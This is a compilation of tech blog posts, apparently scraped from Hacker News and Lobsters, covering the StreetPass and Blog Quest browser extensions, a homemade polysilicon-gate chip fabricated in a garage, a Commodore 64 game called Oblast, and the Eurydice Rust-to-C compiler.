How can we defeat these monsters that have invaded deep into our world, while still staying connected?

StreetPass for Mastodon

A couple weeks ago I stumbled into a great browser extension, StreetPass for Mastodon . The creator, tvler , built it to help people find each other on Mastodon. StreetPass autodiscovers Mastodon verification links as you browse the web, building a collection of Mastodon accounts from the blogs and personal websites you’ve encountered.

StreetPass is a beautiful example of calm technology . When StreetPass finds Mastodon profiles it doesn’t draw your attention with a notification, it quietly adds the profile to a list, knowing you’ll check in when you’re ready.

A screenshot showing the StreetPass extension's popup window open. It lists several Mastodon profiles and the timestamps they were discovered

StreetPass recognizes that there’s no need for an immediate call to action. Instead it allows the user to focus on their browsing, enriching their experience in the background. The user engages with StreetPass when they are ready, and on their own terms.

StreetPass is open source and available for Firefox , Chrome , and Safari .

Inspired by StreetPass, I applied this technique to RSS feed discovery.

Blog Quest

Blog Quest is a web browser extension that helps you discover and subscribe to blogs. Blog Quest checks each page for auto-discoverable RSS and Atom feeds (using rel="alternate" links) and quietly collects them in the background. When you’re ready to explore the collected feeds, open the extension’s drop-down window.

A browser extension popup showing several feeds it discovered

The extension integrates with several feed readers, making subscription management nearly effortless.

Blog Quest is available for both Firefox and Chrome . The project is open source and I encourage you to build your own variants.

I reject the dead Internet theory: I see a vibrant Internet full of humans sharing their experiences and seeking connection. Degradation of the engagement-driven web is well underway, accelerated by AI slop. But the independent web works on a different incentive structure and is resistant to this effect. Humans inherently create, connect, and share: we always have and we always will. If you choose software that works in your interest you’ll find that it’s possible to make meaningful online connections without mental hazard.

Check out StreetPass and Blog Quest to discover a decentralized, independent Internet that puts you in control.

You can't drown out the noise of social media by shouting louder, you've got to whisper.

Image credits


Hello! I'm Robert Alexander, a DevSecOps consultant available for contract work . This blog features some of my work and thoughts on software, the cloud, and security. You can subscribe to my posts with your favorite RSS client .

Statements are my own and do not represent the positions or opinions of my employer.

Z2 – Lithographically fabricated IC in a garage fab

Hacker News
sam.zeloof.xyz
2025-12-07 03:03:09
Comments...
Original Article

Homemade 1000+ transistor array chip

In 2018 I made the first lithographically fabricated integrated circuits in my garage fab. I was a senior in high school when I made the Z1 amplifier, and now I’m a senior in college so there are some long overdue improvements to the amateur silicon process.
DSC_9414ano
The Z1 had 6 transistors and was a great test chip to develop all the processes and equipment. The Z2 has 100 transistors on a 10µm polysilicon gate process – same technology as Intel’s first processor . My chip is a simple 10×10 array of transistors to test, characterize, and tweak the process but this is a huge step closer to more advanced DIY computer chips. The Intel 4004 has 2,200 transistors and I’ve now made 1,200 on the same piece of silicon.

Screen Shot 2021-08-12 at 4.28.35 PM

Only half joking
Only half joking

Previously, I made chips with a metal gate process . The aluminum gate has a large work function difference with the silicon channel beneath it which results in a high threshold voltage (>10V). I used these metal gate transistors in a few fun projects like a guitar distortion pedal and a ring oscillator LED blinker but both of these required one or two 9V batteries to run the circuit due to high Vth. By switching to a polysilicon gate process, I get a ton of performance benefits (self aligned gate means lower overlap capacitances) including a much lower Vth which makes these chips compatible with 2.5V and 3.3V logic levels. The new FETs have excellent characteristics:

NMOS Electrical Properties:
Vth             = 1.1 V
Vgs MAX         = 8 V
Cgs             = <0.9 pF
Rise/fall time  = <10 ns
On/off ratio    = 4.3e6
Leakage current = 932 pA (Vds=2.5V)

I was particularly surprised by the super low leakage current. This value goes up about 100x in ambient room lighting.

Now we know that it’s possible to make really good transistors with impure chemicals, no cleanroom, and homemade equipment. Of course, yield and process repeatability are diminished. I’ll do more testing to collect data on the statistics and variability of FET properties but it’s looking good!

DSC_9419

The chip is small, about one quarter the die area of my previous ICs (2.4mm^2) which makes it hard to probe. There’s a simple 10×10 array of N-channel FETs on each chip which will give me a lot of characterization data. Since it’s such a simple design, I was able to lay it out using Photoshop. Columns of 10 transistors share a common gate connection and each row is strung together in series with adjacent transistors sharing a source/drain terminal. It’s similar to NAND flash but I only did this to keep the metal pads large enough so I can reasonably probe them, if every FET had 3 pads for itself they would be too small.

It’s hard to convey the excitement of seeing a good FET curve displayed on the curve tracer after dipping a shard of rock into chemicals all day.

A single 10µm NMOS transistor can be see below, with slight misalignment in the metal layer (part of the left contact is uncovered). Red outline is polycrystalline silicon, blue is the source/drain.

So far I’ve made an opamp (Z1) and a memory-like array (Z2). More interesting circuits are definitely possible even with this low transistor density. The process needs some tweaking but now that I’m able to consistently make good quality transistors I should be able to design more complex digital and analog circuits. Testing each chip is very tedious so I am trying to automate the process and I’ll post more data then. I’ve made 15 chips (1,500 transistors) and know there’s at least one completely functional chip and at least two “mostly functional”, meaning ~80% of the transistors work instead of 100%. No proper yield data yet. The most common defect is a drain or source shorted to the bulk silicon channel, not a leaky or shorted gate like on my Z1 process.

Profilometer scan of gate
Profilometer scan of gate layer (y axis in angstrom, x axis is micron)

I said before that the gate used to be made out of aluminum and now it’s silicon which makes the chips work a lot better. Silicon comes in three varieties that we care about: amorphous, polycrystalline, and monocrystalline. From left to right, these become more electrically conductive but also much harder to deposit. In fact, monocrystalline Si can’t be deposited, you can only grow it in contact with another mono-Si layer as a seed (epitaxy). Since the gate must be deposited on top of an insulating dielectric, poly is the best we can do. We can heavily dope the polysilicon anyway to make it more conductive.

A typical self-aligned polysilicon gate process requires silane, a toxic and explosive gas, to deposit polycrystalline silicon layers. It may also be possible by sputtering or evaporating amorphous silicon and annealing with a laser . A major theme of this DIY silicon process is to circumvent expensive, difficult, or dangerous steps. So, I came up with a modified process flow. It’s a variation on the standard self-aligned methods to allow doping via high temperature diffusion rather than ion implantation. The effect is that I’m able to buy a silicon wafer with the polysilicon already deposited on it from the factory and pattern it to make transistors instead of putting my own polysilicon down halfway through the process. This is a nice short term workaround but it would be best to design a polysilicon deposition process using the laser anneal method mentioned above.

Wafers are available with all kinds of materials deposited on them already, so I just had to find one with a thin layer of SiO2 (gate oxide, ~10nm) followed by a thicker polysilicon (300nm). I found a lot of 25 200mm (EPI, prime, [1-0-0], p-type) wafers on eBay for $45 which is essentially a lifetime supply, so email me if you want one. The gate oxide is the most fragile layer and requires the most care during fabrication. Since I bought the wafer with a nice high quality oxide on it already that was capped off and kept clean by the thick polysilicon layer, I was able to eliminate all the aggressive cleaning chemicals (sulfuric acid, etc) from the process and still make great transistors. Minimal process chemicals and tools are listed below.

Chemicals used in home poly-gate process:
-Water
-Alcohol
-Acetone
-Phosphoric acid
-Photoresist
-Developer (2% KOH)
-N type dopant (filmtronics P509)
-HF (1%) or CF4/CHF3 RIE
-HNO3 for poly etch or SF6 RIE
Equipment used in home poly-gate process:
-Hotplate
-Tube furnace
-Lithography apparatus
-Microscope
-Vacuum chamber to deposit metal

Z2 “gate first” process (similar to standard self-aligned process but without a field oxide):

I snapped one of the test chips in half (functional Z2 but with bad layer alignment and thin metal, about 300nm) and put it in my SEM for a cross section:

Find the dust particle in the red circle below, use that to get oriented in the coming cross section views.

xsecloc

Xsection (1)

NMOS cross section
NMOS cross section

Because I bought the wafer already with gate oxide and polysilicon on it, I can’t grow a field oxide. These thick oxide layers are typically used to mask dopants and require a long high temperature step which would oxidize all of my poly and there would be none remaining. So, my modified process uses an additional masking step (the “gate” mask is typically not found in a self-aligned process) that allows me to use the polysilicon itself as a dopant mask and hard-baked photoresist as the field dielectric. This alternative processing results in the stepped structure you can see in the orange region on the NMOS cross section above. This process subtlety is mentioned here, read this twitter thread .

Gate length measurement
Gate length measurement

This process isn’t ideal and I want to make some changes so it’s CMOS compatible but it simplifies fabrication and makes it possible with a minimal set of tools. The 1µm dielectric layer (orange) would ideally be CVD SiO2 (it’s possible to build a TEOS oxide reactor at home) but I used a photoresist instead. Most photoresists can be baked around 250°C to form a hard permanent dielectric layer that is an easy alternative to CVD or PECVD oxide. A spin-on-glass/sol-gel could also be used here. SiO2 etching is done with a buffered HF solution made from rust stain remover or RIE.

Huge composite stitched die image:

0001_stitch

Thanks for following my work and feel free to contact me with your thoughts!

Oblast: a better Blasto game for the Commodore 64

Lobsters
oldvcr.blogspot.com
2025-12-07 01:45:35
Comments...
Original Article

Way back (well, six months ago, anyway), when I was wiring up a Gremlin Blasto arcade board , we talked at length about this 1978 arcade game's history and its sole official home computer port by Milton Bradley to the Texas Instruments 99/4A. In the single player mode you run around in a maze and try to blow up all the mines, which can set off sometimes impressive chain reactions, all the while making sure you yourself don't go up in flames in the process.

The TI-99/4A version was the Blasto I originally remember playing as I never did play Blasto in the arcades. (Also, for the record, we're not talking about Sony's unrelated Blasto for the PlayStation which, other than having the voice talents of the late and lamented Phil Hartman, was apparently a traumatic slog both for its developers and the few people who actually played it.) To the credit of its three composite authors, it is a competent and accurate conversion that also adds configurable options, colour graphics and music; in fact, TI's Blasto is probably my favourite game on the /4A, more so than any other cartridge. On the other hand, because it's an accurate conversion, it also inherits all of the original's weaknesses, which admittedly hail from the limited CPU and ROM capacity of the arcade hardware.

So, in that article, I mentioned two future Blasto projects . One is to save my pennies for a custom arcade cabinet to put the board in, though I just spent a cool grand plus on tires which used up a lot of those pennies and I've also got Christmas presents to buy. But the second was to write my own take on TI Blasto and soup it up. This project is the second one from my bucket list that I've completed. It took a couple years of work on it off and on, but it's finally done, with faster action and animation, a massive number of procedurally generated screens, and fully configurable gameplay.

I've christened it Oblast, and it's free to play on your real Commodore 64 or emulator. Let's talk about what's the same and what's different.

The antediluvian 1978 Blasto ran on Hustle hardware, which was derived from Gremlin's original (and mercilessly copied) Blockade game as designed by Lane Hauck. Programmer Bill Blewitt managed to squeeze Blasto's entire game code, not counting character graphics, into just 2K of ROM. This code had to generate and draw the maze, handle one or two player inputs, handle their projectiles, check for collisions and trigger the audio and "boom" circuits, all while simultaneously setting off explosions that could trigger other explosions and other collisions. In the upright version it also had free game logic. Given its hardware and software size constraints the arcade game's gameplay limitations, which we'll discuss in a moment, were understandable.

When Milton Bradley picked up the license (from Gremlin's new owner Sega) as a developer for the new TI 99/4, they kept the gameplay and basic rules in their home computer port almost identical.

Instead, the programmers added music tracks, a colour display, and multiple configuration options. You could set not only the game's speed (I always played Full Tilt) ...

... but also how the maze was drawn, including whether trails existed (areas of the map pre-cleared for motion) and how dense the mines were.

Likely as a way to emphasize the TMS9918(A)'s colour capabilities, the MB programmers changed the setting of the game to a green earth-bound landscape with blue (?) mines and reworked the spaceships into tanks. The density option probably had an even greater impact on gameplay than the speed setting because a maze with a lot of mines made for a zippier, more explosive game. You could rig some big bangs this way, though these were sadly were let down by the TMS9919/SN76489's relatively weak noise output. The program also vainly tried to play a simple tune during the game but this was inevitably interrupted and forced to start over by any sound effect (i.e., a tank shooting, mines exploding).

As with the original, you have infinite lives but finite time. If you trip on an explosion, or the other player shoots you in two-player mode, you lose valuable seconds until you respawn. However, you respawn at your original spawn point as if you were teleported there, a conceivable failure mode for a fanciful spaceship but an extremely unlikely one for a terrestrial tank, which makes a good segue into some of its other idiosyncrasies:

  • Each player can only have a single projectile in motion at any time. However, as soon as that projectile impacts, you can immediately fire another one. This is clearly motivated by the limited memory in the original game, but I don't know of any artillery shell in real life that works like that!
  • As a related phenomenon, although you can move while an explosion or chain reaction is occurring (with a slight reduction in frame rate), you can't shoot — at least not until the explosions stop, at which point you can once again shoot immediately. This also seems to be a concession to limited available memory as the game can't track multiple chain reactions at once.
  • Tanks absolutely can't go over mines or obstacles; they act as completely impassible barriers. I guess that might make sense with spaceships, but it seems like a rather wussy sort of tank.

Also, there's only one screen. If you shoot all the mines before time runs out, the arcade Blasto would give you a free game in the single player mode, if you were playing on the upright version and if you were in a jurisdiction where free games weren't considered illegal gambling, as they were at the time in some areas (pinball also suffered from this). But that was meaningless on the no-coins-needed TI port, where shooting all the mines would win you a free ... game over screen, the same prize you'd get for losing.

Now, I want to point out that despite those things, I loved TI Blasto and played quite a bit of it. But we can improve on what is already an awful lot of fun.

It took a while to get the fundamentals laid down, and it was immediately obvious that the most important mechanic in the game had to be the chain reaction since everybody likes to blow %@#$ up. Consequently, the code that handles the explosions was the first part of the game I wrote, as I reasoned the game wouldn't be worth completing if I couldn't get it fast or frantic enough. This very early draft was a simple proof of concept using PETSCII graphic characters to model the algorithm; character graphics were a must because doing this on the high-resolution screen would have played like molasses.

The game doesn't track explosions anywhere else but the screen itself: everything it needs to determine the next frame of animation is by looking at what's set on the characters present. It scans the entire playfield each time to do this which necessarily locks the animation to a constant frame rate — even if the whole screen were alive with multiple explosions, it would take nearly exactly as much time as if only one single bomb were being detonated, keeping gameplay speed consistent. I did a lot of code unrolling to make this work as quick as possible and the final draft of the original "screen test" is what's in Oblast now.

The black area is because I already knew I'd be using sprites for the tank and I didn't want to mess around with having to manage the high bit for X coordinates greater than 255, so I reserved the right-hand portion of the screen for an information pane. This also had the nice side effect of reducing how much of the screen must be scanned.

For Oblast, I've concentrated exclusively on the single-player mode in which I played Blasto most, which also simultaneously solved some technical issues. (I may make a two-player version in the future if I figure out good solutions to them.) Although I've kept the spirit of TI Blasto's configurability, I made it extend not just to maze generation but even to the game's core rule set. The configuration portion is largely written as a BASIC stub with some 6502 assembly language helpers for speed, with the bulk of the remainder and the entirety of the main game loop also in assembly language.

There are four preset games, the parameters for which I selected after tweaking them during repeated playtesting. The first is the one I consider "typical" for most players to start with (and the one you'll see the computer attempt to play during Oblast's attract mode), the second has an increased number of bombs, the third adds trails and more Blasto-like rules for more classic gameplay, and the fourth is a completely gonzo game mode which has become my personal favourite after a rough day at work.

If you don't like those presets, or want to tweak them further, there is a full game configuration screen letting you set game modes and the starting level/screen. The game supports up to 384 procedurally generated screens and you can start on any of them from 0 to 255. The screens are generated from constant seed data (in this case the 64's BASIC ROM) and thus designed to generate the same screen with the same parameters, facilitating muscle memory for longer play if you get good.

Like the two versions of Blasto, Oblast has mines (bombs) and obstacles (trees). You can very precisely control the densities of both. You can also have the game generate Blasto-style trails horizontally, vertically or both, you can set how quickly your tank's fuel is exhausted (i.e., your time limit, the only option which cannot be zero), and you can indicate if your tank is invulnerable to explosions and how quickly to cycle your shells. I'll talk about how that works in a moment. If you press one of the preset function keys in the configuration screen, then its settings are loaded as a starting point for you to modify.

For the presets, where a new player wouldn't know exactly the game conditions they trigger, I pondered various in-game ways of informing them and hit on an easy-to-implement "dot matrix printout" motif where the BASIC stub scrolls a "briefing" before starting play, making asynchronous "printer" noises based on the bit pattern of each line's ASCII codes. This same motif is used for the basic built-in help since I had some extra space available.

Once you've got the settings the way you want, or you just want to keep playing the same preset, after a game ends you can bypass the presets and game configuration screens and jump right into a new game with the same settings by pressing the fire button.

Here's two examples of the procedural screen generation at work, both level 0. The top screen is what you'd start at if you chose the "Regular Duty" (F1) preset; the second is "More Like Classic Blasto" (F5). Both have the same seed pointer, and you can see some commonalities in bomb and tree positions, but the second screen has a slightly lower bomb density and a slightly higher tree density plus trails going both horizontally and vertically. Each collection of settings will always generate the same screens on your machine. The game code manually counts the number of bombs and trees at the end of map generation since they may be taken away by trails or in the process of ensuring the tank has a cleared starting position.

Although we're using a custom character set for speed, I still wanted the colour flexibility of high resolution where you can have different text and background colours. To do so Oblast is something of a love letter to one of the VIC-II's more underutilized display modes, extended background colour mode (ECM). ECM supports up to four background colours on the same screen and the main game uses two additional colours besides the green background, the most obvious being the black background of the information pane, but also a yellow background as part of animating explosions. The price you pay for this flexibility is that only 64 characters of the standard 256-entry character set can be used; the two high bits instead become a bit pair to select the background colour.

That meant making a lot of careful decisions about what I was going to actually display and getting those shapes into the first 64 character glyphs, shown here in Ultrafont+ . You'll notice that I've replaced some of the letters and typographic characters with graphic shapes because I knew I would never actually need to display those letters or symbols. Everything you see on the screen except for the tank and the shells is a character in this custom font. On the bright side, this character limit also means we can reduce the memory needed by the game font by 75 percent.

By looking for the bit set for the black background of the (impervious) information pane, as well as the wall character that also has this bit set, the game knows not to propagate explosions into that area. The yellow background comes in for knowing what needs to detonate next frame: the routine uses that bit as a deferred marker so that as it sweeps sequentially through the screen it doesn't update the same bomb twice in the same frame and prematurely snuff it out. Since setting that bit will also cause a different background colour to be used, we use yellow to make the explosion visually interesting as another side effect.

Parenthetically, the TMS9918 and TMS9918A also have a feature like this which TI Blasto itself appears to use: each 32 character block of its 256-character fonts can have its own colours. Unlike the VIC-II's ECM which must be specially enabled, this is a standard feature of the 32x24 text mode (which TI calls "Graphic I"), but the character shapes remain unchanged in each block which may require making duplicates (whereas with ECM they are always drawn from the first 64 glyphs).

If there are a lot of bombs on screen, as is the case in the fourth preset and my favourite gameplay mode, nearly the entire screen will be consumed with the explosion which animates around you as you shoot other things. This wasn't possible in either of the original Blastos. Also, instead of trying to play music during game play, all three SID voices are used for noise generation (with a low-pass filter and some resonance smeared on for a woofer-like effect). Voice 1 is triggered when you fire your gun and voice 2 is always running as the tank's engine, with its frequency varying with motion and tank rotation. Voice 3 is used specifically for explosions because it's the only SID voice where you can directly sample both the oscillator waveform output and the current amplitude of the audio envelope. We take these samples, scale them to the activity on screen, and feed the result into the VIC-II's screen fine X scroll. Lots of explosions cause lots of shaking, yet the shaking is always in sync with the audio.

Besides the character graphics, the other major screen component are the sprites. The tank is a composite of three sprites: an animated set for the tank tread, the main tank body, and an accent layer. This is sharper than using multicolour sprites where your horizontal resolution is halved. These three sprites move together and the build system automatically precalculates frames to rotate them off a template, which are played back on screen when you turn. Unlike both versions of Blasto where the tank is limited to integral character positions, the tank in Oblast is larger than the bombs and trees and can move in single pixels, though I still limited movement to 90 degree angles so I didn't have to do expensive trig computations to figure out a shell's trajectory.

One sprite being used as the fuel gauge needle left four sprites for the shells. I had earlier considered using character graphics for them too, but animating shells that way would be slower and less smooth than moving sprites. On the other hand, then, without resorting to tricks there can only be four shells onscreen at once which also didn't seem very tank-like. After some thought I came up with a game mechanic to explain it. In the information pane in these two shots, you see the level number, the fuel gauge which acts as your timer, and then four blue shell indicators. Three of these indicators are dark blue, indicating they are reloading (the fourth is a bright cyan, indicating ready). We'll simply define the reloading time for any shell chamber as the maximum length of time it takes a shell to get across the screen in any direction. Thus, no matter how much you fire, you can only ever have four on-screen because the reloading time will lock you out. (Blasto-style fire control where shells recycle immediately as they hit something is preserved for that game mode, or if you turn on "fast cycl[ing] shells" from the configuration screen.)

While propagating explosions is approximately constant-time, other operations in the game may not be, and there's no reason to walk the screen if nothing's marked as needing it. That means we need a timebase to keep frame rates stable. For this purpose I used the Kernal jiffy clock, which on both PAL and NTSC systems is triggered by the Timer A interrupt to tick about every 1/60 second. The game loop locks to this and uses it to know when to move game objects and trigger screen updates. Still, even this isn't fast enough for moving very speedy things like the shells you fire and the game felt too slow. So ... we make the Timer A interrupt even faster, flogging it at 240Hz instead of 60Hz (the game has prescaler values for both PAL and NTSC), making jiffies 1/240 of a second instead and moving objects at that rate.

This does have interesting interactions when the VIC-II is still drawing your screen at either 50 or 60Hz even as you update it four times as quickly, and most of these interactions have to do with collisions because you can move objects faster than the VIC-II can detect they intersect. The bombs are as big as they are because that gives lots of opportunities to detect a shell striking one, but tank collisions remained unreliable with smaller graphics like trees. Fortunately, however, we've already declared we didn't like the fact that trees and bombs (i.e., obstacles and mines) were impassible objects, so we can make this deficiency into a virtue. The game keeps running track of where the tank last was and if a collision is detected immediately moves it back to that position. However, because collisions are detected inconsistently at this rate of motion and the game updates the tank's coordinates faster than the VIC will draw them, it ends up manifesting onscreen as the tank simply slowing down when it has to cross an obstacle. I like that better than just coming to a dead halt.

Explosions, however, are nice big targets and we have no problem detecting when the tank gets nailed by one of those. In the game modes where your tank is vulnerable, we throw your tank into a temporary tailspin, start flashing the border and the information pane (which is just a matter of setting its colour register), turn on voice 1 and voice 3 at the same time for an even bigger boom, and take the envelope and waveform from voice 3 and put it into the fine Y scroll register as well as the X to really throw the screen around. My favourite game mode allows you to blow up the entire playfield with impunity, of course.

I also decided to overhaul the scoring with special bonuses silently awarded after completing a screen and detailed cumulatively at the end when your score is added up (total bombs exploded plus total bonuses earned). Don't cheat and look at the source code, but the descriptions of the bonuses should give you a clue as to how you win them. Note that some bonuses are mutually exclusive, and some are explicitly disabled ("n/a") in certain game configurations that make them impossible or unavoidable.

Should you beat the default high score, you'll see another use of extended background colour mode for the champion medal (you'll just have to beat it fair and square, no spoiler screenshots). This segment uses FLD to scroll the medal into view and then cycles the ECM registers for a masked multiple colour bar effect without having to split the screen horizontally. It's a simple effect that I threw together in an afternoon but I think it looks nice. While the game configuration screen looks like it might use ECM for the top title, it actually doesn't because I needed lowercase letters, so I employ a much simpler trick for that screen which shouldn't take you long to figure out.

A key goal was to get the entire game in memory at once without additional loading or disk access, meaning you can even run it from cassette tape if you want to. In memory everything is arranged around the two character sets, the bank of sprites and the two hi-res title screens which are in fixed locations to deal with the VIC-II's more constrained view of memory (one of the hi-res screens is slotted under the BASIC ROM so I could free up 8K for something else). I then redistributed the various machine language subroutines and the three music tracks around those assets while also ensuring the BASIC menu stub had enough free memory to maintain its variables. After the core game was done I added two more extras on, the attract mode (which required some reworking to fit) and a really silly credits sequence, which implements a double-buffered screen scroller and takes advantage of the fact that the main music track sounds pretty neat slowed down. The entire mess is then single-parted using my custom cross-linker and optionally compressed.

Oblast is freeware and open source on Github . You can build it with Perl 5, the

xa65 cross assembler

and optionally the

pucrunch compressor

. The Perl tools to generate the sprites, the tokenized BASIC code and the uncompressed runnable linked version are all included. Say that you want to change the presets to your own preferred settings: just change the corresponding

DATA

statement in the BASIC code, do a

make

and instantly have your modified binary. All I ask is that modified binaries that you provide to others should use a different name so they aren't confused with the original, and note that this game and any derivative works based on it or its components are under the Floodgap Free Software License .

If you just want to play it, the Github releases tab provides compressed (for actual floppy disks or tape or other media with limited space) and uncompressed (for fast DMA cartridges and emulators) builds as .prg files you can run directly. You'll need a joystick or equivalent in port 2, and the game should run on any PAL or NTSC Commodore 64. This is hardly the last game, let alone project, on my bucketlist , but it's good to knock another one off it. Also, please don't blow up trees in real life.

If you've enjoyed playing, buy me a coffee Pibb .

Eurydice: a Rust to C compiler (yes)

Hacker News
jonathan.protzenko.fr
2025-12-07 01:41:33
Comments...
Original Article

Perhaps the greatest surprise of the last two years was, for me, the realization that people not only care about compiling C to Rust (for obvious reasons, such as, ahem, memory safety) – they also care about compiling Rust to C! Wait, what?

I wrote about this briefly a couple years ago, but the level of interest for the project, I must say, took me somewhat by surprise. So let’s talk about compiling Rust to C a little more today.

Barriers to Rust adoption

Rust is making big progress in terms of adoption, and represents a great value proposition, especially for new code. Both my former employer and my new employer , like pretty much everyone else these days, have big projects that are written in pure Rust or can have Rust components. Even Windows kernel drivers can be written in Rust now. Amazing stuff.

However, if your project is, say, an open-source library that gets compiled on a wonderfully diverse set of target architectures, OSes, distributions and toolchains, well, chances are… one of these is not going to support Rust. Think of a crypto library: there will be people out there with an obscure compiler for a weird embedded target, and they really want to compile your library, because they’ve been told not to roll out their own crypto. Or perhaps you have a format library ridden with memory errors and you want to port it to Rust. Or maybe your company has an in-house analysis that only runs on C code. Regardless of the scenario, there will always be that one legacy use-case that prevents you from switching to Rust until it’s 2035, all those LTS versions (looking at you RHEL) are finally retired, and you yourself are too close to retirement to even care anymore.

That is, unless you’re willing to use a Rust to C compiler.

Why?

Having a backwards-compat scenario where Rust can be compiled to C serves several purposes.

  1. It allows for a gradual transition. The codebase can be ported to Rust, and refactored / cleaned up / rewritten to use all the nice Rust things (data types, pattern-matching, polymorphism, memory safety), thus making you and your developers much, much happier. Meanwhile, the C version co-exists so that you don’t alienate your userbase.
  2. It only requires maintaining a single version. The Rust code is authoritative; the C code is derived from it automatically, either on CI, or at least with a CI job that checks that the two are in sync.
  3. It allows for a census of problematic scenarios. By making the Rust version the default (and putting the fallback C behind a --write-us-an-email flag), there is finally a way to enumerate those mythical users who cannot switch to Rust just yet.

If that sounds appealing, meet Eurydice.

Eurydice is a compiler from Rust to C that aims to produce readable C code. Of course, readability is subjective; also, seeing that Rust relies on whole-program monomorphization, the C code is bound to be more verbose than the Rust code. But you can judge for yourself: here’s the result of compiling libcrux to C .

The output of the test suite is under version control, and there are a lot more tests to peruse. See for instance this bit , compared to the Rust original .

The design of Eurydice

Eurydice plugs in directly at the MIR level, using Charon to avoid reimplementing the wheel and paying the price of interacting with the guts of rustc . Our paper on Charon says more about its architecture.

The advantage of plugging in at the MIR level is that i) we do not have to interpret syntactic sugar, which means our translation is more faithful to the Rust semantics, and ii) we have way fewer constructs that need compiling to C. Even then, it’s no easy feat to translate Rust to C.

There is naturally, the need to perform whole-program monomorphization, over types and const-generic arguments; the compilation of pattern matches into tagged unions; recognizing instances of iterators that can be compiled to native C for -loops. Then, there are more subtle things, such as compiling array repeat expressions sensibly – zero-initializers when possible, initializer lists otherwise, unless it generates too much code, in which case for -loops are preferable. And finally, there are all the rules about visibility, static , inline , etc. that are very C-specific and depend on how you want to lay out your C files.

The translation is complicated by the constraint that the generated code ought to be readable: for instance, we compile Rust structs to C structs, including DST s, by relying on flexible array members . We also work hard to avoid using the fully-generic tagged union pattern when possible, instead eliminating the tag when e.g. the Rust enum only has a single case. Additionally, we rely on Charon to reconstruct control-flow, rather than compile the MIR CFG to C code ridden with goto s; again, this is for code quality.

At a low-level, there were many interesting tidbits.

  • Because arrays in Rust are values, we wrap them within C structs to give them value semantics in C, too; concretely, [u32; 8] becomes struct { uint32_t data[8]; } . (A previous version of Eurydice would emit uint32_t * , and rely on various memcpy s to implement value semantics, but this produced a translation that was not type-generic, and there were plenty of finicky corner cases. We revamped the compilation scheme recently.)
  • The notion of lvalue in C means we need to insert more variable declarations than in Rust – for instance, you can’t trivially compile &[0u32; 1] without naming the array.
  • The fact that the evaluation order is so loosely defined in C means that intermediary computations need to be stored in intermediary variables to enforce the evaluation order.
  • Rust relies on whole-program monomorphization; this means that the C code is inevitably going to contains multiple copies of the same types and functions, but for different choices of type and const generic argumnets. This is currently done with a builtin phase in Eurydice (for historical reasons), but in the long run, we want to rely on Charon’s support for monomorphization.
  • There are plenty of peephole optimizations that are required for good code quality, such as recognizing array::from_fn and generating sensible code that initializes the array in-place (instead of relying on the fully-general compilation scheme for closures), or recognizing instances of the Eq trait that deserve dedicated treatment (such as using memcmp for arrays and slices of flat data).

A final design choice is that for now, Eurydice may define more behaviors than Rust – for instance, Rust panics on integer overflow, but Eurydice-compiled code does not. This is because we assume the input code is verified, and therefore has been shown to be free of panics. This design choice can be easily changed, though.

In practice, as soon as you use traits, the C code becomes more voluminous than the Rust code. We rely on a configuration file mechanism to control the placement of monomorphized instances of a given function, rather than put everything in one big C file. This currently requires a lot of manual intervention to give good results on large projects.

Implementing of Eurydice

Eurydice starts by compiling the MIR AST obtained out of Charon into KaRaMeL ’s internal AST. This is ~3000 lines of OCaml code, so that’s already pretty involved. A lot of the work revolves around trait methods and their monomorphization, given Rust’s expressive trait system.

Then, about 30 nanopasses simplify the KaRaMeL AST until it becomes eligible for compilation to C. Of those, a handful were originally written for KaRaMeL and were somewhat reusable; this includes compilation of data types, as well as monomorphization. The rest was written from scratch for Eurydice, and totals about ~5000 lines of OCaml code.

A particularly gnarly phase was eliminating MIR’s variable assignments as much as possible: in MIR, every variable starts out uninitialized at the beginning of the function; then, in lieu of the variable declaration, we have an assignment with the initial value. Naturally, having a variable declaration in the right spot is better for code quality, so an initial phase tries to reconstruct these assignments. That’s a drawback of using MIR, but we still firmly believe that sticking to something that has clear semantics is ultimately better.

Fun fact: because there are so many peephole optimizations, I got tired of maintaining enormous pattern-matches that would try to catch every flavor of Rust iterator that can be compiled to a C for-loop. Instead, a custom OCaml syntax extension allows writing concrete syntax for the internal KaRaMeL language in OCaml patterns. Those magic patterns then get compiled at compile-time to OCaml AST nodes for an actual OCaml pattern that matches the (deeply-embedded) syntax of KaRaMeL’s AST. This relies on a ppx that lexes, parses and compiles the concrete syntax.

Deploying Eurydice-generated code

Eurydice-generated code expects some hand-written glue that contains macros and static inline functions; sometimes, it’s simply more convenient to write a single macro that uses a type, rather than have Eurydice generate N copies of a polymorphic function that gets specialized each time. A typical example is compiling the Eq trait for arrays: it’s nicer to emit Eurydice_array_eq(a1, a2, len, t) , which macro-expands to !(memcmp(a1, a2, len*sizeof(t))) , rather than have N such functions, each containing a for-loop specialized for different values of t .

Eurydice generates code that is either (C11 and C++20-compatible) or (C++-17 compatible, but not C-compatible). The reason for this is that Rust allows enum values (e.g. Foo { bar: baz } ) in any expression position. For simplicity, Eurydice emits a compound initializer (Foo) { .tag = bar, .value = { .case_Foo = { .bar = baz }}} , or a C++20 aggregate that uses designated initializers, relying on a macro (not shown here) to hide the syntax differences between the two. But C++17 does not have designated initializers, so there is an option for Eurydice to emit different code that relies on member pointers to achieve sensibly the same effect .

Limitations of Eurydice

Naturally, there are many limitations to this approach. Here are the main ones that come to mind:

  • we cannot guarantee that the layout of objects will be the same in C as in Rust; conceivably, one could parse the layout information from MIR, then emit compiler-specific alignment directives to keep the two identical, but this is not done currently;
  • the generated code violates strict aliasing , because creating a user-defined DST involves casting one pointer type (a struct containing an array) to another (a struct with a flexible array member instead); I’m not sure what the best fix is, so for now, please compile your code with -fno-strict-aliasing ;
  • the code that Eurydice sees is MIR after applying cfg tweaks; this means that for code that is intended to be multi-platform, some tricks need to be applied, otherwise, Eurydice will only “see” one version of the code (AVX2, or ARM64, or something else)
  • because monorphization is so pervasive, the configuration language needs to express things such as “types that reference __m256i , an AVX2-only type, need to go into a separate file to be compiled with -mavx2 ”; this can get tedious real fast but I’m not sure I know how to do better.

What’s next?

There is ongoing work to integrate Eurydice-generated code for both Microsoft and Google ’s respective crypto libraries.

The community grew recently, with wonderful contributions by GitHub users @ssyram and @lin23299. There are more in the pipeline, and I look forward to seeing the supported subset of Rust grow even more. Next on the horizon is support for dyn traits via vtables, and relying on Charon’s monomorphization to get MIR exactly as the Rust compiler would monomorphize it, intead of relying on a custom procedure in Eurydice.

An ambitious goal is for the whole standard library of Rust to be extractable via Eurydice in 2026. This is non-trivial, but I believe this achievement is within reach. Stay tuned.

PS: Why the name?

